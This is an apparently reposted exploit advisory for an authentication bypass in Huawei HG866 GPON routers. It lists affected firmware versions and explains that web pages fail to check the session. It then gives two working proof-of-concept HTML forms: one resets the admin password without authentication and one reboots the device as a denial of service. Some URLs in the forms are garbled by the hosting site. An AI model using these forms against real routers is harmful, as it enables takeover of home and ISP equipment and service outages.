标题: Huawei HG866 Authentication Bypass 作者: hkm 程序开发 者: http://HdhCmsTesthuawei测试数据 影响版本: V1R2C01SPC202, R3.2.4.92sbn - R3.4.2.257sbn, 3FE53864AOCB16 测试平台: HG866GTA_VER.C, 01, 02 概要 Huawei HG866 GPON routers don't properly validate the session on every page. It is possible to change the web interface admin password by performing an unauthenticated post directly to the form. 测试证明 <!--Changes root password --!> <form name=hg866bypass action=http:// HdhCmsTest2cto测试数据 / html /password.html method=post > <input name=psw value=password ><input name=reenterpsw value=password > <input type="submit" name="save" value="Apply" /> </form> <!--Reboots the device --!> <form name=hg866 dos action=http://192.168.100.251/html/admin_reboot.html" method="post"> <input type=submit name=save id=save value=Reboot /> </form> hkm
查看更多关于华为HG866认证绕过 - 网站安全 - 自学php的详细内容...